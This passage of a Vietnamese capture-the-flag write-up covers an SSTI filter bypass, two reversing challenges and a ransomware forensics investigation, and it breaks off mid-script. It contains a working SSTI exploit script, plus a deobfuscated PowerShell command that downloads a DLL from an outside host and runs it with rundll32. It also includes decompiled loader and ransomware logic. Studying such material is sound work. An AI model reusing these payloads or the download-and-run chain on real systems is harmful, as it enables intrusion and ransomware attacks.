Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://localhost:9001/?page=home Accept-Encoding: gzip, deflate, br Cookie: user=Tzo3OiJMb2dGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjUyOiJwaGFyOi8vL3Zhci93d3cvaHRtbC91cGxvYWQvZHZrZmRrdmtkbS9raGllbXBwcGQuanBnIjt9 Connection: keep-alive ``` > trigger ![image](https://hackmd.io/_uploads/ByD-_6-qxl.png) --- ### Magic Random ![Screenshot 2025-08-31 074713](https://hackmd.io/_uploads/rkaB04Wcgl.png) Đây là chall về bypass SSTI, filter hầu hết các kí tự. Còn có `shuffle` lại các kí tự không phải `a - z`, `A - Z`, `0 - 9` và space. Ý tưởng ở đây là lợi dụng `__doc__` và `__add__` để nối thành attribute phù hợp. ``` def get_doc_indices(char, doc): return [i for i, c in enumerate(doc) if c == char] def build_add_chain(word, doc): chain_parts = [] for c in word: if c == "*": chain_parts.append("{}.__doc__[237]") else: indices = get_doc_indices(c, doc) if not indices: raise ValueError(f"Character '{c}' not found in docstring.") idx = indices[0] chain_parts.append(f"(()).__doc__[{idx}]") chain = chain_parts[0] for part in chain_parts[1:]: chain = f"({chain}).__add__({part})" return chain doc = tuple.__doc__ str_sys = build_add_chain("sys", doc) str_os = build_add_chain("os", doc) str_popen = build_add_chain("popen", doc) command = build_add_chain("cat flag*", doc) payload = f"license.__repr__.__globals__[{str_sys}].modules[{str_os}][{str_popen}]({command}).read()" print(payload) ``` > code gen payload ``` import random import requests url = "http://127.0.0.1:9000" def reverse_shuffle(output, seed): arr = list(output) n = len(arr) indices = list(range(n)) random.seed(seed) random.shuffle(indices) original = [None] * n for i, j in enumerate(indices): original[j] = arr[i] return ''.join(original) if __name__ == "__main__": for seed in range(50): template = "{{license.__repr__.__globals__[(((()).__doc__[19]).__add__((()).__doc__[86])).__add__((()).__doc__[19])].modules[((()).__doc__[34]).__add__((()).__doc__[19])][(((((()).__doc__[84]).__add__((()).__doc__[34])).__add__((()).__doc__[84])).__add__((()).__doc__[17])).__add__((()).__doc__[7])]((((((((((()).__doc__[25]).__add__((()).__doc__[14])).__add__((()).__doc__[4])).__add__((()).__doc__[8])).__add__((()).__doc__[31])).__add__((()).__doc__[3])).__add__((()).__doc__[14])).__add__((()).__doc__[38])).__add__({}.__doc__[237])).read()}}" payload = reverse_shuffle(template, seed) params = {"attack_name": payload} r = requests.get(f"{url}/api/cast_attack", params=params) if 'HOLACTF{' in r.text: print("Response:", r.text) ``` > exploit --- ## REV ### RE102 ![image](https://hackmd.io/_uploads/BkGADoe9eg.png) ![image](https://hackmd.io/_uploads/H1rfGHM9xx.png) file elf có vẻ bị pack bằng upx, với chút custom. ko rõ có cách nào unpack bằng tool hay không, nhưng mà mình chọn cách unpack bằng cách debug rồi dump ra. ![image](https://hackmd.io/_uploads/BJO_XSMcxe.png) ![image](https://hackmd.io/_uploads/HJejOBfcex.png) ![image](https://hackmd.io/_uploads/H1zG9BMqgl.png) ![image](https://hackmd.io/_uploads/r1BN5Szqel.png) ![image](https://hackmd.io/_uploads/B15fiBGqex.png) ![image](https://hackmd.io/_uploads/BJRviHGqll.png) lúc này ta có thể thấy file elf: ![image](https://hackmd.io/_uploads/BkYaiHzcll.png) ta dump ra được file elf: ![image](https://hackmd.io/_uploads/rJHo3rfcgx.png) ta chú ý luồng full access của chương trình: ![image](https://hackmd.io/_uploads/rkJEaSG5xl.png) flag được decrypt bằng mã hóa aes cbc, ta chỉ cần nhặt data ra decrypt hoặc debug rồi dump ra. ![image](https://hackmd.io/_uploads/B1nHCrG9gx.png) phần khó nhất của bài này chắc là đoán format flag :\) flag: `HOLACTF{1b0b403ac790763ba5218d13801aa4e801c5947d4d25705006e5c603b08807f2}` ### RE103 ![image](https://hackmd.io/_uploads/S1TCwsg5gg.png) Bài khá nhiều fake flag và anti debug, tuy nhiên ta chỉ cần chú ý luồng thắng của bài: ![image](https://hackmd.io/_uploads/r1y8ONz9le.png) chú ý hàm `DecryptProtectedData`: ```csharp= private static string DecryptProtectedData() { string result; try { byte[] cipherKey = NetworkConfigurationManager.ReconstructCipherKey(); byte[] bytes = NetworkConfigurationManager.ProcessDataWithCipher(NetworkConfigurationManager.g_lpCriticalSystemData, cipherKey); string @string = Encoding.UTF8.GetString(bytes); if (!@string.StartsWith("HOLACTF{")) { throw new InvalidOperationException("Data integrity validation failed"); } result = @string; } catch { result = NetworkConfigurationManager.GetFallbackResponse(); } return result; } private static byte[] ReconstructCipherKey() { byte[] array = new byte[NetworkConfigurationManager.g_bSecurityToken1.Length + NetworkConfigurationManager.g_bSecurityToken2.Length]; for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken1.Length; i++) { array[i] = (NetworkConfigurationManager.g_bSecurityToken1[i] ^ NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length]); array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1); byte[] array2 = array; int num = i; array2[num] ^= NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length]; array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1); } for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken2.Length; i++) { array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (NetworkConfigurationManager.g_bSecurityToken2[i] ^ NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length]); array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2); byte[] array3 = array; int num2 = NetworkConfigurationManager.g_bSecurityToken1.Length + i; array3[num2] ^= NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length]; array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2); } return array; } // Token: 0x06000020 RID: 32 RVA: 0x00002FD0 File Offset: 0x000011D0 private static byte[] ProcessDataWithCipher(byte[] inputData, byte[] cipherKey) { byte[] array = new byte[256]; for (int i = 0; i < 256; i++) { array[i] = (byte)i; } int num = 0; for (int i = 0; i < 256; i++) { num = (num + (int)array[i] + (int)cipherKey[i % cipherKey.Length]) % 256; byte b = array[i]; array[i] = array[num]; array[num] = b; } byte[] array2 = new byte[inputData.Length]; int num2 = 0; int num3 = 0; for (int i = 0; i < inputData.Length; i++) { num2 = (num2 + 1) % 256; num3 = (num3 + (int)array[num2]) % 256; byte b = array[num2]; array[num2] = array[num3]; array[num3] = b; array2[i] = (inputData[i] ^ array[(int)(array[num2] + array[num3]) % 256]); } return array2; } ``` chỉ là mã hóa rc4 đơn giản, ta chỉ cần nhặt key với ciphertext ra là được. ```python= from Crypto.Cipher import ARC4 import sys key = bytes([95, 96, 125, 118, 117, 126, 114, 125, 126, 118]) enc = bytes([ 135, 116, 43, 205, 242, 219, 162, 153, 39, 86, 151, 35, 169, 72, 219, 6, 232, 131, 21, 211, 120, 125, 79, 93, 11, 233, 51, 146, 65, 182, 177, 104, 154, 123, 29, 115, 212, 109, 133, 16 ]) cipher = ARC4.new(key) flag = cipher.decrypt(enc) print("HOLACTF{"+flag.hex()+"}") #HOLACTF{745d40e06ec4ab2f33d11cd84215f62cd4b2e2705c0428df0249db3370bbc8a3990447771481ba85} ``` ## FORENSICS ### APT ![image](https://hackmd.io/_uploads/B1Gl_sg9ge.png) 1 bài for điều tra hay đến từ author TMQ, bài cung cấp cho mình 1 file ad1 và nhiệm vụ của mình là điều tra và trả lời các câu hỏi tương ứng: Sơ qua thì flow của chall này như sau: `Thunderbird → ZIP → HTML → JS → BAT → DLL → tải steam.enc → RC4 giải → EXE → DLL →ransomware...` Mở fille ad1 mà challenge cung cấp với FTK imager, ta thấy rằng author cung cấp cho ta folder Users, Winevtx chứa windows event log và folder prefetch. Truy cập vào User tmq trên máy, ở các folder của người dùng tmq các file đã bị mã hóa với đuôi .EHC, bước đầu cho thấy rằng victim đã bị tấn công ransomeware Ở Roaming folder mình thấy nơi đây chứa dữ liệu của Thunderbird -> lưu profile email (account, mật khẩu đã lưu, lịch sử email). ![image](https://hackmd.io/_uploads/SJhbOIW5ge.png) Theo đó, mình tiếp tục tìm thấy 1 email đáng ngờ được gửi lúc 19:42:55 ![image](https://hackmd.io/_uploads/HJ0tdIZcxg.png) Mở email này với công cụ [emlreader](https://www.emlreader.com/) ![image](https://hackmd.io/_uploads/HkOyYI-qee.png) 1 email được gửi đính kèm file nén zip cùng mật khẩu là thptqg. Sau khi giải nén ta được 1 file có tên diemchuan.html ![image](https://hackmd.io/_uploads/BkoOY8-9gl.png) Bên trong mình tìm thấy 1 đoạn mã js xử lý chuỗi `==wckF2bs52dvRUPl1WYulXYsB3cpRmJcR3bvJ1VXdldhREXMN1UABHch5SZlJnZts2bydmbuQGNjZmZkljMhRjY1wFX642bpRXYj9Gb9IWb1J3YmYzMwIzRRRFUIR1XphGVfl3SfFWdR9FdltUP5JXZ1FnOz1WLoNmchV2c` sau đó chuyển tiếp đến đường dẫn sau khi xử lý. Đến đây ta có thể xác định được đây chính xác là malicous trong bài này. #### Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software? -> `Thunderbird` #### Q2: What is the name of the file that makes user fall into the attacker's trap? -> `diemchuan.html` Dưạ vào thông tin về tấn công ban đầu, attacker gửi email phishing cho victim bao gồm tệp malicious đính kèm ![image](https://hackmd.io/_uploads/H1wj9L-qex.png) #### Q3: What MITRE ATT&CK techniques did the attacker use? -> `T1566.001` ![image](https://hackmd.io/_uploads/rkfksLbcge.png) Sau khi decode, đường dẫn được chuyển tiếp tới là 1 đường dẫn ngrok Ban đầu mình truy cập được vào `https://5b4a29dffc4d.ngrok-free.app` và lấy được 1 file bat chứa mã powershell, tuy nhiên có vẻ đây là hướng unintended bởi vì tác giả đã đóng ngay sau đó Nếu đúng hướng, ta có thể check windows powershell log ![image](https://hackmd.io/_uploads/H1nVywb5lx.png) ```bat powershell -EncodedCommand UABvAHcAZQByAHMASABlAEwAbAAgAC0AIgBlACIAcAAgAEIAIgB5ACIAcABhAHMAcwAgABQgVwAgAGgAIgBpAGQAZAAiAGUAbgAgABUgYwAiAE8ATQAiAG0AYQAgACcAWwBOACIAZQB0AC4AUwBlACIAcgB2ACIAaQAiAGMAZQBQACIAbwAiAGkAbgAiAHQATQAiAGEAIgBuACIAYQAiAGcAIgBlAHIAXQA6ADoAUwAiAGUAIgBjACIAdQByACIAaQAiAHQAeQBQAHIAbwAiAHQAbwAiAGMAbwAiAGwAIAA9ACAAWwBOAGUAIgB0AC4AUwAiAGUAIgBjAHUAcgBpACIAdAAiAHkAIgBQAHIAIgBvAHQAIgBvAGMAIgBvACIAbABUAHkAIgBwAGUAXQA6ADoAVAAiAGwAIgBzACIAMQAyADsAIAAkAHAAIAA9ACAASgBvACIAaQAiAG4ALQBQAGEAIgB0ACIAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgBsAC4AZAAiAGwAIgBsACIAOwAgAGkAdwByACAAIgBoACIAdAAiAHQAIgBwACIAcwA6AC8AIgAvAGYAaQAiAGwAZQBzAC4AcwBhAGsAYQAiAG0AIgBvACIAdAAiAG8ALgBtAG8AIgBlAC8ANAAxACIAZAAiAGIAZQA3ACIAYQBjACIANwBiACIANwAzAF8AbABvAGEAZABlAHIALgBkAGwAbAAiACAALQAiAE8AIgB1ACIAdAAiAEYAIgBpACIAbABlACAAJABwADsAIABTACIAdAAiAGEAcgB0AC0AIgBQACIAcgAiAG8AYwBlACIAcwBzACAAcgB1ACIAbgAiAGQAbABsADMAIgAyACIAIAAtAEEAcgBnACIAdQAiAG0AZQAiAG4AIgB0ACIATABpACIAcwB0ACAAIgAkAHAALABSAHUAbgAiACAALQBXACIAYQAiAGkAdAA7ACAAZABlAGwAIAAkAHAAIAAtAEYAIgBvACIAcgBjAGUAJwA= ``` ![image](https://hackmd.io/_uploads/HyUK1wWqll.png) Sau khi deobf sẽ thành như sau ```powershell! Powershell -ep Bypass -WindowStyle Hidden -Command ' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $p = Join-Path $env:TEMP "l.dll"; iwr "https://files.sakamoto.moe/41dbe7ac7b73_loader.dll" -OutFile $p; Start-Process rundll32 -ArgumentList "$p,Run" -Wait; del $p -Force ' ``` Tiếp tục tải xuống file dll từ url `https://files.sakamoto.moe/41dbe7ac7b73_loader.dll` và lưu vào file `l.dll` #### Q4: What is the domain of the website where the malicious file for stage 2 is located? -> sakamoto.moe Truy cập url để tải file về, mở với ida để xem ```c __int64 FlowAllocation() { char v1[272]; // [rsp+20h] [rbp-60h] BYREF CHAR Buffer[268]; // [rsp+130h] [rbp+B0h] BYREF unsigned int v3; // [rsp+23Ch] [rbp+1BCh] BYREF _QWORD v4[5]; // [rsp+240h] [rbp+1C0h] BYREF char v5[16]; // [rsp+268h] [rbp+1E8h] BYREF HGLOBAL hMem; // [rsp+278h] [rbp+1F8h] qmemcpy(v4, "2..*)`uu<36?)t);1;75.5t75?u;j<nn", 32); v4[4] = 0x5626E6D3F696D68LL; strcpy(v5, ").?;7t?49"); LoopForHook(v4, 49LL); v3 = 0; hMem = (HGLOBAL)IsBufferLoader(v4, &v3); if ( !hMem || !v3 ) return 1LL; WriteMemcpy(hMem, v3, "C:\\Users\\public\\Miyamizu_Mitsuha.yourname"); RC4(&unk_33E154020, 16LL, hMem, v3); GetTempPathA(0x104u, Buffer); sprintf(v1, "%ssteam.exe", Buffer); WriteMemcpy(hMem, v3, v1); GlobalFree(hMem); DeleteAPI(v1); return 0LL; } unsigned __int64 __fastcall LoopForHook(__int64 a1, unsigned __int64 a2) { unsigned __int64 result; // rax unsigned __int64 i; // [rsp+8h] [rbp-8h] for ( i = 0LL; ; ++i ) { result = i; if ( i >= a2 ) break; *(_BYTE *)(a1 + i) ^= 0x5Au; } return result; } char *__fastcall IsBufferLoader(const CHAR *a1, _DWORD *a2) { DWORD dwNumberOfBytesRead; // [rsp+3Ch] [rbp-24h] BYREF char *v4; // [rsp+40h] [rbp-20h] HINTERNET hFile; // [rsp+48h] [rbp-18h] HINTERNET hInternet; // [rsp+50h] [rbp-10h] int v7; // [rsp+5Ch] [rbp-4h] hInternet = InternetOpenA("L", 1u, 0LL, 0LL, 0); if ( !hInternet ) return 0LL; hFile = InternetOpenUrlA(hInternet, a1, 0LL, 0, 0x80000000, 0LL); if ( hFile ) { v4 = (char *)GlobalAlloc(0x40u, 0x7800000uLL); if ( v4 ) { v7 = 0; for ( dwNumberOfBytesRead = 0; InternetReadFile(hFile, &v4[v7], 0x2000u, &dwNumberOfBytesRead) && dwNumberOfBytesRead; v7 += dwNumberOfBytesRead ) { ; } *a2 = v7; InternetCloseHandle(hFile); InternetCloseHandle(hInternet); return v4; } else { return 0LL; } } else { InternetCloseHandle(hInternet); return 0LL; } } ``` Chuỗi URL được lưu obfuscate trong code → giải mã bằng XOR (0x5A). Tải payload từ Internet (qua WinInet) và lưu vào file Miyamizu_Mitsuha.yourname. Giải mã payload bằng RC4. Ghi ra file giả dạng steam.exe trong %TEMP%. Cuối cùng là xóa dấu vết ```python! def xor_decode(data: bytes, key: int = 0x5A) -> str: return ''.join(chr(b ^ key) for b in data) def main(): v4 = bytearray(b"2..*)`uu<36?)t);1;75.5t75?u;j<nn") v4.extend((0x5626E6D3F696D68).to_bytes(8, "little")) v5 = bytearray(b").?;7t?49") url_prefix = xor_decode(v4) url_suffix = xor_decode(v5) full_url = url_prefix + url_suffix print(full_url) if __name__ == "__main__": main() ``` Sau khi giải mã kết qủa là `https://files.sakamoto.moe/a0f44273e748_steam.enc` #### Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded? -> `steam.enc` Sau khi tải xuống, đoạn mã giải mã bằng rc4 với key là danh sách các byte trong unk_33E154020 ![image](https://hackmd.io/_uploads/HyLymwW5ll.png) #### Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex) -> `RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01` ```python! from Crypto.Cipher import ARC4 def rc4_decrypt_file(input_file, output_file, key_bytes): # Đọc dữ liệu đã mã hóa with open(input_file, 'rb') as f: encrypted_data = f.read() # Tạo đối tượng RC4 và giải mã cipher = ARC4.new(key_bytes) decrypted_data = cipher.decrypt(encrypted_data) # Ghi dữ liệu đã giải mã ra file with open(output_file, 'wb') as f: f.write(decrypted_data) print(f"✅ Đã giải mã thành công: {output_file}") # --- Thiết lập --- input_file = "C:/Users/Admin/Downloads/a0f44273e748_steam.enc" output_file = "C:/Users/Admin/Downloads/sus.exe" key_hex = [0x3a, 0x2d, 0x1c, 0x4d, 0x5e, 0x2f, 0x7b, 0x81, 0x3d, 0xab, 0xbc, 0xcd, 0xde, 0x2f, 0xf0, 0x01] key_bytes = bytes(key_hex) # --- Thực hiện giải mã --- rc4_decrypt_file(input_file, output_file, key_bytes) ``` #### Q7: In stage 3, which C2 IP address is the user's network traffic transmit to? Câu này để tiết kiệm thời gian thì mình phân tích động nó luôn rồi bật wireshark bắt ip, có được địa chỉ ip: => `192.168.244.129` TTruy vết các file bị mã hóa với file prefetch của steam.exe ![image](https://hackmd.io/_uploads/rkCvmvb5gl.png) Tuy nhiên mặc định của PEcmd là upercase các chuỗi, nên mình tìm tên file ghi trong đĩa ![image](https://hackmd.io/_uploads/rkPTmPZclx.png) #### Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ? -> `video.mp4` Okay, bây giờ tiến hành giải phẫu để phân tích file exe, trước tiên mình dùng die để xacs định thông tin của nó ![image](https://hackmd.io/_uploads/SyNd4PW9eg.png) Overlay: offset 0x0090d600, size ~ 52 MB (!) → vùng dữ liệu lạ nằm sau phần PE chuẩn. Đây thường là: Payload được nhúng (encrypted blob). Hoặc dữ liệu packer sử dụng để giải nén khi runtime. -> File có thể được drop ra từ loader (steam.exe) mà bạn phân tích trước đó. ![image](https://hackmd.io/_uploads/BJpdDvWqgx.png) Trong phần export lại thấy có chuỗi singlefilehost.exe. Đây là host binary (trình chạy) của .NET Core/.NET 5+ dùng cho các ứng dụng kiểu Single-File Deployment. Khi build app .NET ở dạng self-contained single file (dotnet publish -r win-x64 -p:PublishSingleFile=true), .NET sẽ đóng gói tất cả DLL + runtime vào một file duy nhất. File chạy chính lúc đó thực chất là một bản singlefilehost.exe đã được Microsoft cung cấp, nó chịu trách nhiệm: Giải nén hoặc map các thành phần .NET runtime cần thiết từ trong chính nó. Load CLR (Common Language Runtime). Chạy code C# của bạn (assembly chính). Nói cách khác, sus.exe mà ta phân tích thật ra chỉ là singlefilehost.exe được đổi tên + kèm payload .NET app ở bên trong. Sau khi xác định được loại file che dấu bên trong, mình tìm các lấy file dll gốc ra ![image](https://hackmd.io/_uploads/SybduDW5xe.png) Mình tìm thấy công cụ [này](https://github.com/Droppers/SingleFileExtractor) ```bash ┌──(kali㉿kali)-[~/Downloads/holactf/THPT] └─$ sfextract sus.exe --output extract Entry point: minecraft.dll Bundle version: 6.0 Extracted 168 files to "extract" ``` ![image](https://hackmd.io/_uploads/rkZAdDW9lg.png) Mở nó với dnspy để phân tích #### Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit) Ok giờ là đến bước rev con dotnet mà ta mới trích được ra, do mình gà khoản rev nên mình cho vô dnspy rồi cop hết các hàm cho ai, được nó phân tích như sau: ![image](https://hackmd.io/_uploads/rJNE2cZcel.png) 1) Obfuscation bằng emoji → Base64 → UTF-8 * Mọi hằng chuỗi (đường dẫn, tên file, URL, public key, phần mở rộng, v.v.) đều được viết bằng **emoji**. * Hàm giải mã: `NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd(java)` → duyệt từng “text element” (emoji) → ánh xạ ngược qua `pdZuVvKNPFSscmrJcOBSJjLEW` để thu được **bảng chữ cái base64** → `Convert.FromBase64String` → UTF-8 string. \=> Đây là “string decoder” cho toàn bộ chương trình.&#x20; 2) Khởi động (Main) → truyền tham số đã giải mã * `Main()` giải mã một chuỗi siêu dài thành **RSA public key** của attacker (chuỗi bắt đầu kiểu “MIIBI…”) và một **danh sách thư mục con** (relative to `%USERPROFILE%`) để mã hoá (thấy thực tế là **Documents / Pictures / Videos / Downloads / Desktop** – khớp với dấu vết `Documents`, `Pictures`, `Videos` trong Prefetch bạn trích). * Sau đó gọi: `eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd(dirs, pubKey)`.&#x20; 3) Tạo khoá phiên & cơ chế mã hoá file 3.1. Sinh key 32-byte: * `OVixtxAlZgODrcwOVgagxeWAk()` → lấy 1024 byte **RNGCryptoServiceProvider** (CSPRNG), copy vào mảng `int[256]`. * Tạo PRNG **ISAAC** với seed trên → rút **32 byte** cho biến `array` (đây là **file-key** lặp).&#x20; 3.2. “Khoá hiệu dụng” = biến đổi 1 byte lặp * Biến đổi 1 byte: `gbTxSBXvOnHlWXYrw(b, rounds)` với `rounds=3`: mỗi vòng: `b = ((b ^ 0xA5) + 37) & 0xFF`. * Mã hoá cả file: `TxWVCaCGswNFFkFNyyuGYebzTnmKMI(plaintext, key=array, rounds=3)` → với từng vị trí i: `E[i] = P[i] XOR F( array[i mod 32] )`, trong đó `F(x)` = áp dụng phép **XOR 0xA5 rồi +37** **3 lần**. \=> Thuật toán là **XOR lặp 32-byte với key đã “nắn” qua F** (tự đảo ngược bằng XOR, nên giải mã = XOR lại với cùng “keystream”).&#x20; 4) Đổi tên & mở rộng file sau khi mã hoá * Tạo tên ngẫu nhiên 20 ký tự: `eOUFdPmHAHcqPJQRyafSXBf(20)` (alphabet “Kitakitasuru…”) → nhìn giống tiền tố “Kita…”. * Phần mở rộng giải từ emoji ra chính là **`.EHC`** (khớp hiện trường: `XRYVSOZYAITKUZSIKTRX.EHC`, `…\PICTURES\*.EHC`, v.v.). * Mỗi file gốc được ghi thành `<random20>.EHC` rồi **xoá file gốc**.&#x20; 5) Thu thập & exfil khoá (attacker “chữa cháy” để tự giải) 5.1. Bọc key 32B bằng AES rồi RSA: * `lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY(data=array, out key, out iv)` → key/iv **được suy ra từ SHA-256** của một **chuỗi hằng** giải qua emoji (copy 32 byte cho AES-256 key, 16 byte cuối cho IV), rồi **AES-CBC/PKCS7 encrypt** chính `array`. * `ddAxJkAciSG( AES(data) || key || iv , pubKey )` → **RSA-OAEP(SHA256) encrypt** toàn bộ gói trên bằng **public key** của attacker. (Việc lồng AES rồi lại RSA chỉ để “màu mè”; bản chất attacker cầm private key là đọc ra được `array`.)&#x20; 5.2. Lưu dấu vết & nén: * Tạo thư mục `%TEMP%\MAICRAFT_<GUID>\` (tên giải từ emoji; hiện trường đúng có `…\TEMP\MAICRAFT_...`). * Ghi file (tên giải ra “**KITA.KEY**”) chứa **blob RSA** ở trên. * Ghi thêm **danh sách các file đã mã hoá** (list path). * `lzzmjArGgUUExMs…(outputArchive, files...)` → gọi **7z** (đường dẫn + tham số giải từ emoji) để nén tất cả thành **.7z**.&#x20; 5.3. Upload C2: * `hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat(archive)` → **HTTP POST** lên URL **giải từ emoji**, **bỏ qua kiểm tra chứng chỉ** (`DangerousAcceptAnyServerCertificateValidator`). * Chờ 5s → **xoá sạch** thư mục tạm.&#x20; 6) Thư mục bị tác động Trong `eLzUcAT…`, chương trình lấy `folderPath = %USERPROFILE%` rồi **ghép các “dirs” đã giải mã**; với mẫu CTF này khớp `Documents / Pictures / Videos / Downloads / Desktop` (bạn đã thấy Prefetch & hiện trường có `…\DOCUMENTS`, `…\PICTURES`, `…\VIDEOS`).&#x20; 7) Vì sao Q9 giải được dù key là ngẫu nhiên? * “Sai lầm” của attacker: để **lộ file gốc** (Q8: `VIDEO.MP4`). * Do **E = P XOR G** (G là keystream 32-byte sau khi qua F), ta rút ngay **G = P XOR E** từ cặp `video.mp4` ↔ `video.mp4.ehc`. * Có G rồi thì **giải mọi file khác**, trong đó có `flag.txt.ehc`, **không cần** biết `array` hay đảo ngược F. (Bạn đã trích được **keystream period 32** – chuẩn với code.)&#x20; ```c // Main pubKey = DecodeEmojiB64(EMOJI_STR); dirs = [DecodeEmojiB64(...), ...]; // relative under %USERPROFILE% RunRansom(pubKey, dirs); // RunRansom seed = RNGCrypto(1024 bytes) -> int[256]; isaac = ISAAC(seed); array = isaac.nextBytes(32); // file-key (period 32) // Encrypt files for file in Enumerate(%USERPROFILE%\dirs): keystream[i] = F(array[i mod 32]); // F(x): repeat 3 times { x = (x ^ 0xA5) + 37 } E[i] = P[i] XOR keystream[i]; name = RandString(20, "Kitakitasuru..") + ".EHC"; write(name, E), delete(file); // Exfil key & list aesKey, iv = DeriveFrom(SHA256(DecodeEmojiB64(...))); payload = RSA_OAEP( AES_CBC_Encrypt(array, aesKey, iv) || aesKey || iv , pubKey ); write(%TEMP%\MAICRAFT_<GUID>\KITA.KEY, payload); write(%TEMP%\MAICRAFT_<GUID>\filelist.txt, list); // Pack & upload SevenZip(%TEMP%\MAICRAFT_<GUID>\dump.7z, all_files_in_folder); HTTP_POST(DecodeEmojiB64(URL), dump.7z, ignore_cert=true); cleanup(); ``` Ở (7) mình đã chỉ ra: attacker lỡ để sót bản gốc của mẫu video trong vùng tạm VMwareDnD: ![image](https://hackmd.io/_uploads/ryVP-fM9xl.png) ![image](https://hackmd.io/_uploads/BJDD4zzceg.png) Trong khi bản trong Videos đã bị mã hoá và đổi tên sang đuôi .EHC. Với cặp plaintext ↔ ciphertext này, ta áp dụng known-plaintext: Ransomware mã hoá byte-wise theo công thức tổng quát E = P XOR G, trong đó G là keystream lặp chu kỳ 32 byte (đã bị “nắn” bởi hàm biến đổi nội bộ F). Vì thế có ngay G = P XOR E. Không cần biết (hay đảo) F, chỉ cần keystream sau F là đủ để giải tất cả file khác (trong đó có flag.txt.ehc). Tiếp tục dùng AI để gen script: ```python! # derive_xor_key.py # usage: python derive_xor_key.py # files expected in same dir: # - video.mp4 # - xrYvsozYaitKuzsiktrX.EHC import hashlib, os ORIG = "video.mp4" ENC = "xrYvsozYaitKuzsiktrX.EHC" # bytes to analyze (enough for robust period detect) HEAD = 2_000_000 # 2 MB def read_head(path, n): with open(path, "rb") as f: return f.read(n) def derive_stream(P, E, model): if model == "plain": return bytes([e ^ p for p, e in zip(P, E)]) elif model == "minus37": return bytes([e ^ ((p - 37) & 0xFF) for p, e in zip(P, E)]) elif model == "plus37": return bytes([e ^ ((p + 37) & 0xFF) for p, e in zip(P, E)]) else: raise ValueError("bad model") def score_period(stream, L, sample_stride=997): """Return mismatch count when assuming period L (sampled for speed).""" mismatches = 0 n = len(stream) if n == 0: return 0 pat = stream[:L] # sample across the stream i = 0 while i < n: if stream[i] != pat[i % L]: mismatches += 1 i += sample_stride return mismatches def find_best_period(stream, max_period=128): """Find smallest L with lowest mismatch score; returns (L, pattern, score).""" best = None for L in range(1, max_period + 1): s = score_period(stream, L) if best is None or (s, L) < (best[2], best[0]): best = (L, stream[:L], s) if s == 0: # perfect periodic break return best # (L, pat, score) def hex_list(b): return ", ".join(f"0x{v:02x}" for v in b) def main(): P = read_head(ORIG, HEAD) E = read_head(ENC, HEAD) n = min(len(P), len(E)) P, E = P[:n], E[:n] if n == 0: print("[-] Input files are empty or not found.") return results = [] for model in ("plain", "minus37", "plus37"): stream = derive_stream(P, E, model) L, pat, score = find_best_period(stream) results.append((score, L, pat, model)) # choose by (fewest mismatches, then smallest period) results.sort(key=lambda t: (t[0], t[1])) score, L, key_pat, model = results[0] print(f"[+] Model chọn : {model}") print(f"[+] Period (bytes) : {L}") print(f"[+] Mismatch score : {score} (0 là hoàn hảo)") print(f"[+] Key (hex) : {hex_list(key_pat)}") # save artifacts with open("key.bin", "wb") as f: f.write(key_pat) with open("key_hex.txt", "w", encoding="utf-8") as f: f.write(hex_list(key_pat) + "\n") f.write(f"model={model}, period={L}\n") print("[+] Đã lưu key vào key.bin và key_hex.txt") if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/HJxaNfMqge.png) Bây giờ đã có key thì mình trích hết các files bị mã hóa ở desktop để giải mã , tìm lại file flag.txt cần tìm: ![image](https://hackmd.io/_uploads/rJcXBfzcxg.png) ```python! # decrypt_folder_xor.py # Giải mã toàn bộ *.EHC bằng XOR key (period 32) và đoán đuôi theo magic bytes. # Usage: # python decrypt_folder_xor.py # giải trong thư mục hiện tại # python decrypt_folder_xor.py path\to\dumped_files import sys, os, hashlib, re from pathlib import Path # === KEY (period 32) bạn đã trích === KEY = bytes([ 0x55,0x3c,0x63,0x65,0x6d,0xcb,0xe8,0x61, 0x28,0x14,0x07,0x89,0xff,0x5c,0x14,0x6e, 0x12,0xbb,0x58,0x54,0xbc,0x9a,0x25,0x9a, 0x94,0x71,0x89,0xa3,0x10,0x0f,0x2f,0xfa ]) KEYLEN = len(KEY) OUT_ROOT = Path("decrypted_out") MAGICS = [ (b"\x00\x00\x00\x18ftyp", ".mp4"), # some mp4 (b"\x00\x00\x00\x14ftyp", ".mp4"), # mp4 variant (b"ftyp", ".mp4"), # generic ftyp check (within first 16 bytes) (b"\x89PNG\r\n\x1a\n", ".png"), (b"\xff\xd8\xff", ".jpg"), (b"%PDF-", ".pdf"), (b"PK\x03\x04", 